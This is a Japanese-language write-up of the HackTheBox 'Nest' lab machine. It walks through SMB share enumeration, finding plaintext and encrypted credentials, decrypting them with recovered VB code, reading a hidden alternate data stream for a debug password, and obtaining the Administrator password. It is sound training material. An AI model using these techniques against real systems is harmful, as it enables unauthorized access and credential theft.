🦔

【HackTheBox】Nest WriteUp

2023/02/12に公開

はじめに

今回もHackTheBoxをやっていきます。Intro to danteトラックの二つ目のwindowsマシンです。
これもeasyなのに重たいと思いました…

https://app.hackthebox.com/machines/225

Enumeration

Nmap portscan

まずはポートスキャンをしていきます。

nmap -sC -sV -Pn nest.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-09 08:34 EST
Nmap scan report for nest.htb (10.129.128.248)
Host is up (0.18s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT    STATE SERVICE       VERSION
445/tcp open  microsoft-ds?

Host script results:
| smb2-security-mode: 
|   210: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2023-02-09T13:35:08
|_  start_date: 2023-02-09T12:22:44

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.64 seconds

445しかない?

Full Scan

他にも隠れていそうなのでフルスキャンをします。

nmap -p- -Pn --min-rate 10000 nest.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-09 09:22 EST
Nmap scan report for nest.htb (10.129.128.248)
Host is up (0.19s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE
445/tcp  open  microsoft-ds
4386/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 38.65 seconds

4386が出てきました。

Port specific scan

サービスの内容を深く知りたいので445,4386のスキャンをします。

nmap -p 445,4386 -Pn -sV -sC nest.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-09 09:26 EST
Nmap scan report for nest.htb (10.129.128.248)
Host is up (0.19s latency).

PORT     STATE SERVICE       VERSION
445/tcp  open  microsoft-ds?
4386/tcp open  unknown
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe: 
|     Reporting Service V1.2
|   FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions: 
|     Reporting Service V1.2
|     Unrecognised command
|   Help: 
|     Reporting Service V1.2
|     This service allows users to run queries against databases using the legacy HQK format
|     AVAILABLE COMMANDS ---
|     LIST
|     SETDIR <Directory_Name>
|     RUNQUERY <Query_ID>
|     DEBUG <Password>
|_    HELP <Command>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4386-TCP:V=7.93%I=7%D=2/9%Time=63E502A0%P=x86_64-pc-linux-gnu%r(NUL
SF:L,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(GenericLine
SF:s,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognised
SF:\x20command\r\n>")%r(GetRequest,3A,"\r\nHQK\x20Reporting\x20Service\x20
SF:V1\.2\r\n\r\n>\r\nUnrecognised\x20command\r\n>")%r(HTTPOptions,3A,"\r\n
SF:HQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognised\x20comman
SF:d\r\n>")%r(RTSPRequest,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n
SF:\r\n>\r\nUnrecognised\x20command\r\n>")%r(RPCCheck,21,"\r\nHQK\x20Repor
SF:ting\x20Service\x20V1\.2\r\n\r\n>")%r(DNSVersionBindReqTCP,21,"\r\nHQK\
SF:x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(DNSStatusRequestTCP,21,"\
SF:r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(Help,F2,"\r\nHQK\x
SF:20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nThis\x20service\x20allows\x
SF:20users\x20to\x20run\x20queries\x20against\x20databases\x20using\x20the
SF:\x20legacy\x20HQK\x20format\r\n\r\n---\x20AVAILABLE\x20COMMANDS\x20---\
SF:r\n\r\nLIST\r\nSETDIR\x20<Directory_Name>\r\nRUNQUERY\x20<Query_ID>\r\n
SF:DEBUG\x20<Password>\r\nHELP\x20<Command>\r\n>")%r(SSLSessionReq,21,"\r\
SF:nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(TerminalServerCookie
SF:,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(TLSSessionRe
SF:q,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(Kerberos,21
SF:,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(SMBProgNeg,21,"
SF:\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(X11Probe,21,"\r\n
SF:HQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(FourOhFourRequest,3A,
SF:"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognised\x20c
SF:ommand\r\n>")%r(LPDString,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\
SF:r\n\r\n>")%r(LDAPSearchReq,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2
SF:\r\n\r\n>")%r(LDAPBindReq,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\
SF:r\n\r\n>")%r(SIPOptions,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\
SF:n\r\n>\r\nUnrecognised\x20command\r\n>")%r(LANDesk-RC,21,"\r\nHQK\x20Re
SF:porting\x20Service\x20V1\.2\r\n\r\n>")%r(TerminalServer,21,"\r\nHQK\x20
SF:Reporting\x20Service\x20V1\.2\r\n\r\n>");

Host script results:
|_clock-skew: -1s
| smb2-time: 
|   date: 2023-02-09T14:29:17
|_  start_date: 2023-02-09T12:22:44
| smb2-security-mode: 
|   210: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 204.30 seconds

HQK Reporting???みたいですね

ポート4386を調べる

これが何なのかよくわからないので、とりあえずnetcatとtelnetでつないでみます。

netcat

nc nest.htb 4386
HQK Reporting Service V1.2
>help
^C

helpコマンドを使ってみましたが何もおきませんでした。

telnet

telnet nest.htb 4386       
Trying 10.129.209.6...
Connected to nest.htb.
Escape character is '^]'.

HQK Reporting Service V1.2

>help

This service allows users to run queries against databases using the legacy HQK format

--- AVAILABLE COMMANDS ---

LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>

HQK Reporting Service V1.2とサービスとそのバージョンがわかりました。そのほかにもいろいろなコマンドがありそうです。パスワードを持っていないのでDebugは使えません。

ファイルを調べる

telnetでつながったので、中のファイルを調べます。

HQKディレクトリ内

setdir ..
list
[DIR]  ALL QUERIES
[DIR]  LDAP
[DIR]  Logs
[1]   HqkSvc.exe
[2]   HqkSvc.InstallState
[3]   HQK_Config.xml

Current Directory: HQK

Cディレクトリ内

setdir ..
list
[DIR]  $Recycle.Bin
[DIR]  Boot
[DIR]  Documents and Settings
[DIR]  PerfLogs
[DIR]  Program Files
[DIR]  Program Files (x86)
[DIR]  ProgramData
[DIR]  Recovery
[DIR]  Shares
[DIR]  System Volume Information
[DIR]  Users
[DIR]  Windows
[1]   bootmgr
[2]   BOOTSECT.BAK
[3]   pagefile.sys
[4]   restartsvc.bat

Current Directory: C:

Usersディレクトリ

[DIR]  Administrator
[DIR]  All Users
[DIR]  C.Smith
[DIR]  Default
[DIR]  Default User
[DIR]  Public
[DIR]  Service_HQK
[DIR]  TempUser
[1]   desktop.ini

runquery 1をしてみましたがダメでした。
Invalid database configuration found. Please contact your system administrator

smbmap

smbmapで共有ドライブを調べます。

smbmap -H nest.htb -u null
[+] Guest session       IP: nest.htb:445        Name: unknown                                           
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        Data                                                    READ ONLY
        IPC$                                                    NO ACCESS       Remote IPC
        Secure$                                                 NO ACCESS
        Users                                                   READ ONLY
                                                                                 

UsersとDataはクレデンシャルがなくても中身が見れるようです。

smbclient for users

smbclientを使ってusersにつなぎます。

smbclient -N //nest.htb/users

ダウンロードできるデータがあるか確認します。

smb: \> recurse on
smb: \> prompt off
smb: \> mget *
NT_STATUS_ACCESS_DENIED listing \Administrator\*
NT_STATUS_ACCESS_DENIED listing \C.Smith\*
NT_STATUS_ACCESS_DENIED listing \L.Frost\*
NT_STATUS_ACCESS_DENIED listing \R.Thompson\*
NT_STATUS_ACCESS_DENIED listing \TempUser\*

特にダウンロードできるものはありませんでした。

smbclient for data

dataでも同じことをします。

mbclient -N //nest.htb/data
Try "help" to get a list of possible commands.
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
NT_STATUS_ACCESS_DENIED listing \IT\*
NT_STATUS_ACCESS_DENIED listing \Production\*
NT_STATUS_ACCESS_DENIED listing \Reports\*
getting file \Shared\Maintenance\Maintenance Alerts.txt of size 48 as Shared/Maintenance/Maintenance Alerts.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
getting file \Shared\Templates\HR\Welcome Email.txt of size 425 as Shared/Templates/HR/Welcome Email.txt (0.5 KiloBytes/sec) (average 0.3 KiloBytes/sec)

Usersとは違い、いろいろとダウンロードすることができました。

ダウンロードしたファイルを調べる

/Shared/Maintenance

cat Maintenance\ Alerts.txt 
There is currently no scheduled maintenance work                   

なにも面白くありません。

/Shared/Templates/HR

cat Welcome\ Email.txt      
We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME>

You will find your home folder in the following location: 
\\HTB-NEST\Users\<USERNAME>

If you have any issues accessing specific services or workstations, please inform the 
IT department and use the credentials below until all systems have been set up for you.

Username: TempUser
Password: welcome2019


Thank you
HR    

パスワードが出てきました、TempUserというユーザーでログインできます。

Foothold

TempUserでsmbを調べる

先ほどのパスワードとユーザ名を使い共有ドライブを調べます。

smbmap -H nest.htb -u TempUser -p welcome2019
[+] IP: nest.htb:445    Name: unknown                                           
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        Data                                                    READ ONLY
        IPC$                                                    NO ACCESS       Remote IPC
        Secure$                                                 READ ONLY
        Users                                                   READ ONLY
                                                                                                 

新たにSecure$が見れるようになりました。

ドライブを調べる

Check Secure$

smbclient -U TempUser //nest.htb/Secure$  
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
NT_STATUS_ACCESS_DENIED listing \Finance\*
NT_STATUS_ACCESS_DENIED listing \HR\*
NT_STATUS_ACCESS_DENIED listing \IT\*

Access deniedと出ました。また後で戻ってきましょう。

Check Users

面白いものはありませんでした。

Check Data

smbclient -U TempUser //nest.htb/data
Password for [WORKGROUP\TempUser]:
Try "help" to get a list of possible commands.
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
getting file \Shared\Maintenance\Maintenance Alerts.txt of size 48 as Shared/Maintenance/Maintenance Alerts.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
getting file \IT\Configs\Adobe\editing.xml of size 246 as IT/Configs/Adobe/editing.xml (0.3 KiloBytes/sec) (average 0.2 KiloBytes/sec)
getting file \IT\Configs\Adobe\Options.txt of size 0 as IT/Configs/Adobe/Options.txt (0.0 KiloBytes/sec) (average 0.1 KiloBytes/sec)
getting file \IT\Configs\Adobe\projects.xml of size 258 as IT/Configs/Adobe/projects.xml (0.3 KiloBytes/sec) (average 0.2 KiloBytes/sec)
getting file \IT\Configs\Adobe\settings.xml of size 1274 as IT/Configs/Adobe/settings.xml (1.0 KiloBytes/sec) (average 0.4 KiloBytes/sec)
getting file \IT\Configs\Atlas\Temp.XML of size 1369 as IT/Configs/Atlas/Temp.XML (1.7 KiloBytes/sec) (average 0.6 KiloBytes/sec)
getting file \IT\Configs\Microsoft\Options.xml of size 4598 as IT/Configs/Microsoft/Options.xml (5.9 KiloBytes/sec) (average 1.3 KiloBytes/sec)
getting file \IT\Configs\NotepadPlusPlus\config.xml of size 6451 as IT/Configs/NotepadPlusPlus/config.xml (8.2 KiloBytes/sec) (average 2.2 KiloBytes/sec)
getting file \IT\Configs\NotepadPlusPlus\shortcuts.xml of size 2108 as IT/Configs/NotepadPlusPlus/shortcuts.xml (2.6 KiloBytes/sec) (average 2.2 KiloBytes/sec)
getting file \IT\Configs\RU Scanner\RU_config.xml of size 270 as IT/Configs/RU Scanner/RU_config.xml (0.3 KiloBytes/sec) (average 2.0 KiloBytes/sec)
getting file \Shared\Templates\HR\Welcome Email.txt of size 425 as Shared/Templates/HR/Welcome Email.txt (0.5 KiloBytes/sec) (average 1.9 KiloBytes/sec)

今回もたくさんダウンロードできました。

Dataドライブからダウンロードしてきたファイルを調べる

まずはファイルをすべて表示します。

find . -type f -ls
  3587381      4 -rw-r--r--   1 kali     kali          425 Feb 11 09:51 ./Shared/Templates/HR/Welcome\ Email.txt
  3587369      4 -rw-r--r--   1 kali     kali           48 Feb 11 09:51 ./Shared/Maintenance/Maintenance\ Alerts.txt
  3587376      4 -rw-r--r--   1 kali     kali         1369 Feb 11 09:51 ./IT/Configs/Atlas/Temp.XML
  3587380      4 -rw-r--r--   1 kali     kali          270 Feb 11 09:51 ./IT/Configs/RU\ Scanner/RU_config.xml
  3587377      8 -rw-r--r--   1 kali     kali         4598 Feb 11 09:51 ./IT/Configs/Microsoft/Options.xml
  3587374      4 -rw-r--r--   1 kali     kali          258 Feb 11 09:51 ./IT/Configs/Adobe/projects.xml
  3587372      4 -rw-r--r--   1 kali     kali          246 Feb 11 09:51 ./IT/Configs/Adobe/editing.xml
  3587373      0 -rw-r--r--   1 kali     kali            0 Feb 11 09:51 ./IT/Configs/Adobe/Options.txt
  3587375      4 -rw-r--r--   1 kali     kali         1274 Feb 11 09:51 ./IT/Configs/Adobe/settings.xml
  3587379      4 -rw-r--r--   1 kali     kali         2108 Feb 11 09:51 ./IT/Configs/NotepadPlusPlus/shortcuts.xml
  3587378      8 -rw-r--r--   1 kali     kali         6451 Feb 11 09:51 ./IT/Configs/NotepadPlusPlus/config.xml

面白そうなファイルを取り出す

/IT/Configs/NotepadPlusPlusの中にパス情報がありました。Secure$の中にCarlというものがあるみたいです。

    <History nbMaxFile="15" inSubMenu="no" customLength="-1">
        <File filename="C:\windows\System32\drivers\etc\hosts" />
        <File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
        <File filename="C:\Users\C.Smith\Desktop\todo.txt" />
    </History>

/IT/Configs/RU Scannerの中にはconfigのxmlファイルがあります。

cat RU_config.xml 
<?xml version="1.0"?>
<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <Port>389</Port>
  <Username>c.smith</Username>
  <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile> 

c.smithのパスワードがありました。ですが暗号化されているようです。

サイバーシェフでこじ開けることができるか確認します。 https://gchq.github.io/CyberChef/

だめそうでした。

再度Secure$ドライブ

前回はダウンロードができませんでしたが、特定のパスに行くことができるかどうかは確かめませんでした。今回パスの情報が得られたのでそれを使い再度Secure$を確認します。

Carl

smbclient -U TempUser //nest.htb/Secure$
cd IT
cd Carl
smb: \IT\Carl\> recurse on
smb: \IT\Carl\> prompt off
smb: \IT\Carl\> mget *
getting file \IT\Carl\Docs\ip.txt of size 56 as Docs/ip.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
getting file \IT\Carl\Docs\mmc.txt of size 73 as Docs/mmc.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner.sln of size 871 as VB Projects/WIP/RU/RUScanner.sln (1.1 KiloBytes/sec) (average 0.4 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\ConfigFile.vb of size 772 as VB Projects/WIP/RU/RUScanner/ConfigFile.vb (1.0 KiloBytes/sec) (average 0.6 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\Module1.vb of size 279 as VB Projects/WIP/RU/RUScanner/Module1.vb (0.4 KiloBytes/sec) (average 0.5 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\RU Scanner.vbproj of size 4828 as VB Projects/WIP/RU/RUScanner/RU Scanner.vbproj (6.2 KiloBytes/sec) (average 1.5 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\RU Scanner.vbproj.user of size 143 as VB Projects/WIP/RU/RUScanner/RU Scanner.vbproj.user (0.2 KiloBytes/sec) (average 1.3 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\SsoIntegration.vb of size 133 as VB Projects/WIP/RU/RUScanner/SsoIntegration.vb (0.2 KiloBytes/sec) (average 1.1 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\Utils.vb of size 4888 as VB Projects/WIP/RU/RUScanner/Utils.vb (6.2 KiloBytes/sec) (average 1.7 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\My Project\Application.Designer.vb of size 441 as VB Projects/WIP/RU/RUScanner/My Project/Application.Designer.vb (0.6 KiloBytes/sec) (average 1.6 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\My Project\Application.myapp of size 481 as VB Projects/WIP/RU/RUScanner/My Project/Application.myapp (0.6 KiloBytes/sec) (average 1.5 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\My Project\AssemblyInfo.vb of size 1163 as VB Projects/WIP/RU/RUScanner/My Project/AssemblyInfo.vb (1.5 KiloBytes/sec) (average 1.5 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\My Project\Resources.Designer.vb of size 2776 as VB Projects/WIP/RU/RUScanner/My Project/Resources.Designer.vb (3.5 KiloBytes/sec) (average 1.6 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\My Project\Resources.resx of size 5612 as VB Projects/WIP/RU/RUScanner/My Project/Resources.resx (7.1 KiloBytes/sec) (average 2.0 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\My Project\Settings.Designer.vb of size 2989 as VB Projects/WIP/RU/RUScanner/My Project/Settings.Designer.vb (1.9 KiloBytes/sec) (average 2.0 KiloBytes/sec)
getting file \IT\Carl\VB Projects\WIP\RU\RUScanner\My Project\Settings.settings of size 279 as VB Projects/WIP/RU/RUScanner/My Project/Settings.settings (0.3 KiloBytes/sec) (average 1.9 KiloBytes/sec)

たくさんのファイルをダウンロードすることができました。

パスワードの復号

vbファイルがたくさんあるのでvisual studioでソリューションファイルの中身を確認します。

Util.vb の中にencryptとdecryptがあるのでそれを使って復号します。 fiddle.vbを使うとブラウザでvbファイルを実行できます。

Imports System
Imports System.Text
Imports System.Security.Cryptography

Public Module Module1
	Public Sub Main()
		Console.WriteLine("Decrypted: " + DecryptString("fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE="))
	End Sub
	
	Public Function DecryptString(EncryptedString As String) As String
        If String.IsNullOrEmpty(EncryptedString) Then
            Return String.Empty
        Else
            Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
        End If
    End Function

    Public Function EncryptString(PlainString As String) As String
        If String.IsNullOrEmpty(PlainString) Then
            Return String.Empty
        Else
            Return Encrypt(PlainString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
        End If
    End Function
	
	Public Function Encrypt(ByVal plainText As String, _
                                   ByVal passPhrase As String, _
                                   ByVal saltValue As String, _
                                    ByVal passwordIterations As Integer, _
                                   ByVal initVector As String, _
                                   ByVal keySize As Integer) _
                           As String

        Dim initVectorBytes As Byte() = Encoding.ASCII.GetBytes(initVector)
        Dim saltValueBytes As Byte() = Encoding.ASCII.GetBytes(saltValue)
        Dim plainTextBytes As Byte() = Encoding.ASCII.GetBytes(plainText)
        Dim password As New Rfc2898DeriveBytes(passPhrase, _
                                           saltValueBytes, _
                                           passwordIterations)
        Dim keyBytes As Byte() = password.GetBytes(CInt(keySize / 8))
        Dim symmetricKey As New AesCryptoServiceProvider
        symmetricKey.Mode = CipherMode.CBC
        Dim encryptor As ICryptoTransform = symmetricKey.CreateEncryptor(keyBytes, initVectorBytes)
        Using memoryStream As New IO.MemoryStream()
            Using cryptoStream As New CryptoStream(memoryStream, _
                                            encryptor, _
                                            CryptoStreamMode.Write)
                cryptoStream.Write(plainTextBytes, 0, plainTextBytes.Length)
                cryptoStream.FlushFinalBlock()
                Dim cipherTextBytes As Byte() = memoryStream.ToArray()
                memoryStream.Close()
                cryptoStream.Close()
                Return Convert.ToBase64String(cipherTextBytes)
            End Using
        End Using
    End Function	

    Public Function Decrypt(ByVal cipherText As String, _
                                   ByVal passPhrase As String, _
                                   ByVal saltValue As String, _
                                    ByVal passwordIterations As Integer, _
                                   ByVal initVector As String, _
                                   ByVal keySize As Integer) _
                           As String

        Dim initVectorBytes As Byte()
        initVectorBytes = Encoding.ASCII.GetBytes(initVector)

        Dim saltValueBytes As Byte()
        saltValueBytes = Encoding.ASCII.GetBytes(saltValue)

        Dim cipherTextBytes As Byte()
        cipherTextBytes = Convert.FromBase64String(cipherText)

        Dim password As New Rfc2898DeriveBytes(passPhrase, _
                                           saltValueBytes, _
                                           passwordIterations)

        Dim keyBytes As Byte()
        keyBytes = password.GetBytes(CInt(keySize / 8))

        Dim symmetricKey As New AesCryptoServiceProvider
        symmetricKey.Mode = CipherMode.CBC

        Dim decryptor As ICryptoTransform
        decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)

        Dim memoryStream As IO.MemoryStream
        memoryStream = New IO.MemoryStream(cipherTextBytes)

        Dim cryptoStream As CryptoStream
        cryptoStream = New CryptoStream(memoryStream, _
                                        decryptor, _
                                        CryptoStreamMode.Read)

        Dim plainTextBytes As Byte()
        ReDim plainTextBytes(cipherTextBytes.Length)

        Dim decryptedByteCount As Integer
        decryptedByteCount = cryptoStream.Read(plainTextBytes, _
                                               0, _
                                               plainTextBytes.Length)

        memoryStream.Close()
        cryptoStream.Close()

        Dim plainText As String
        plainText = Encoding.ASCII.GetString(plainTextBytes, _
                                            0, _
                                            decryptedByteCount)

        Return plainText
    End Function
End Module

上記のコードを使うとパスワードを復号することができました。
Decrypted: xRxRxPANCAK3SxRxRx

C.Smithでのアクセス

TempUser同様のことをします。

smbmap

smbmap -H nest.htb -u C.Smith -p xRxRxPANCAK3SxRxRx 
[+] IP: nest.htb:445    Name: unknown                                           
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        Data                                                    READ ONLY
        IPC$                                                    NO ACCESS       Remote IPC
        Secure$                                                 READ ONLY
        Users                                                   READ ONLY

smbclient

smbclientでログインをし、ユーザフラッグを取得します。
smbclient -U C.Smith //nest.htb/users

smb: \C.Smith\> mget user.txt
Get file user.txt? y
getting file \C.Smith\user.txt of size 34 as user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)

手元にフラッグがあるのでそれを提出します。

Priviledge Escalation

ここからAdmin権限の取得に移ります。なかなかに骨が折れる作業でした。

Enumeration

C.Smithにて特権昇格できそうな情報を集めます。

Check HQK Reporting folder

C.Smithでsmbclientにログインします。

smb: \C.Smith\HQK Reporting\> ls
  .                                   D        0  Thu Aug  8 19:06:17 2019
  ..                                  D        0  Thu Aug  8 19:06:17 2019
  AD Integration Module               D        0  Fri Aug  9 08:18:42 2019
  Debug Mode Password.txt             A        0  Thu Aug  8 19:08:17 2019
  HQK_Config_Backup.xml               A      249  Thu Aug  8 19:09:05 2019

C.Smith以下のファイルをすべてダウンロードします。

\C.Smith
recurse on
prompt off
mget **

ファイルを確認します。

find . -type f -ls         
  3671060     20 -rw-r--r--   1 kali     kali        17408 Feb 12 00:42 ./AD\ Integration\ Module/HqkLdap.exe
  3671058      0 -rw-r--r--   1 kali     kali            0 Feb 12 00:42 ./Debug\ Mode\ Password.txt
  3671059      4 -rw-r--r--   1 kali     kali          249 Feb 12 00:42 ./HQK_Config_Backup.xml

HQK_Config_Backup.xml

cat HQK_Config_Backup.xml    
<?xml version="1.0"?>
<ServiceSettings xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <Port>4386</Port>
  <QueryDirectory>C:\Program Files\HQK\ALL QUERIES</QueryDirectory>
</ServiceSettings>  

Debug Mode Password.txt

passwordと入った面白そうなデータがありますが、0バイトで空でした。

HqkLdap.exe

exeファイルがあります。32ビットかな?

file HqkLdap.exe           
HqkLdap.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

リバースコンパイル

dnspyを使ってリバースコンパイルします。
https://github.com/dnSpy/dnSpy/releases/tag/v6.1.8

MainModuleのなかで何が起こっているのか調べることができます。

if (MyProject.Application.CommandLineArgs.Count != 1)                    
{                        
	Console.WriteLine("Invalid number of command line arguments");
}else if (!File.Exists(MyProject.Application.CommandLineArgs[0]))                  {
	Console.WriteLine("Specified config file does not exist");
}
else if (!File.Exists("HqkDbImport.exe"))                    
{
	Console.WriteLine("Please ensure the optional database import module is installed");
}
else
{
	LDAP Stuff...
}

config fileHqkDbImport.exeがあれば次に進めそうです。

LDAP部分

LdapSearchSettings ldapSearchSettings = new LdapSearchSettings();string[] array = File.ReadAllLines(MyProject.Application.CommandLineArgs[0]);     foreach (string text in array){
	if (text.StartsWith("Domain=", StringComparison.CurrentCultureIgnoreCase))
	{
		ldapSearchSettings.Domain = text.Substring(text.IndexOf('=') + 1);
	}
	else if(text.StartsWith("User=", StringComparison.CurrentCultureIgnoreCase))
	{
		ldapSearchSettings.Username = text.Substring(text.IndexOf('=') + 1);
	}
	else if (text.StartsWith("Password=", StringComparison.CurrentCultureIgnoreCase))
	{
		ldapSearchSettings.Password = CR.DS(text.Substring(text.IndexOf('=') + 1));
	}
}
Ldap ldap = new Ldap();
ldap.Username = ldapSearchSettings.Username;
ldap.Password = ldapSearchSettings.Password;ldap.Domain = ldapSearchSettings.Domain;
Console.WriteLine("Performing LDAP query...");
List<string> list = ldap.FindUsers();
Console.WriteLine(Conversions.ToString(list.Count) + " user accounts found. Importing to database...");
try{
	foreach (string text2 in list){
		Console.WriteLine(text2);
		Process.Start("HqkDbImport.exe /ImportLdapUser " + text2);
	}
}
finally
{
	List<string>.Enumerator enumerator;
	((IDisposable)enumerator).Dispose();
}

パスワードを復号するには暗号化されたパスワードが必要で、このLDAP部分から復号関数を呼び出すことで、復号しています。Userの情報も得ることができます。

このコードでしたいこと

  1. confファイルを指定して、プログラムを実行します。
  2. 現時点ではconfファイルがないのでわかりませんが、ユーザ情報と暗号化されたパスワードが記載されているはずです。
  3. confファイルを一行ずつ読み込みます。
  4. パスワードは復号化されます。
  5. これから得られるconfファイルのなかにAdminの情報があるとうれしいです。

Confファイルを探す

先ほどはDebug Mode Password.txtの中身はゼロバイトでしたが、隠されている可能性があります。
https://www.howtogeek.com/1325/stupid-geek-tricks-hide-data-in-a-secret-text-file-compartment/

allinfo "Debug Mode Password.txt"
altname: DEBUGM~1.TXT
create_time:    Thu Aug  8 07:06:12 PM 2019 EDT
access_time:    Thu Aug  8 07:06:12 PM 2019 EDT
write_time:     Thu Aug  8 07:08:17 PM 2019 EDT
change_time:    Wed Jul 21 02:47:12 PM 2021 EDT
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes

15bytesのデータが隠れているみたいです。

 get "Debug Mode Password.txt:P
getting file \C.Smith\HQK Reporting\Debug Mode Password.txt:iloBytes/sec) (average 0.0 KiloBytes/sec)

パスワードが取得できました。

cat Debug\ Mode\ Password.txt:Password
WBQ201953D8w 

Debug Modeのパスワードなので、先ほどは使えなかったtelnetのdebugモードを試します。

rlwrapを使うと矢印キーを使うことができます。これがないと矢印で文字が入ってしまいます。

rlwrap telnet nest.htb 4386
Trying 10.129.209.6...
Connected to nest.htb.
Escape character is '^]'.

HQK Reporting Service V1.2

>help

This service allows users to run queries against databases using the legacy HQK format

--- AVAILABLE COMMANDS ---

LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>

confがあるか探しに行きます。
setdir .. -> setdir LDAP -> listldap.confファイルの確認ができました。

暗号化されたパスワードがありました。

showquery 2

Domain=nest.local
Port=389
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
User=Administrator
Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=

パスワードの復号

二つの方法で復号することができます。

先ほど使った復号を再度使う

値の一部を変えないといけないので、dnspyでリバースコンパイルしたデータから持ってきます。

"N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256
 ->
"667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256

変更した後に、.net fiddleで復号するとパスワードがでてきます。
Decrypted: XtH4nkS4Pl4y1nGX

exeを実際に走らせる

32ビットのexeのはずなのですが、64じゃないとデバッグできないといわれたので64でデバッグしました。
https://github.com/dnSpy/dnSpy/releases/tag/v6.1.8

conf fileとHqkDbImport.exeが必要ですが、exeファイルは適当に作ってしまって構いませんん。パスワード復号はexeの前に呼び出されます。



実際に実行すると復号が成功します。
Decrypted: XtH4nkS4Pl4y1nGX

Login as Administrator

手に入れたパスワードでimpacketのpsexecを使ってAdminでログインします。
https://github.com/fortra/impacket
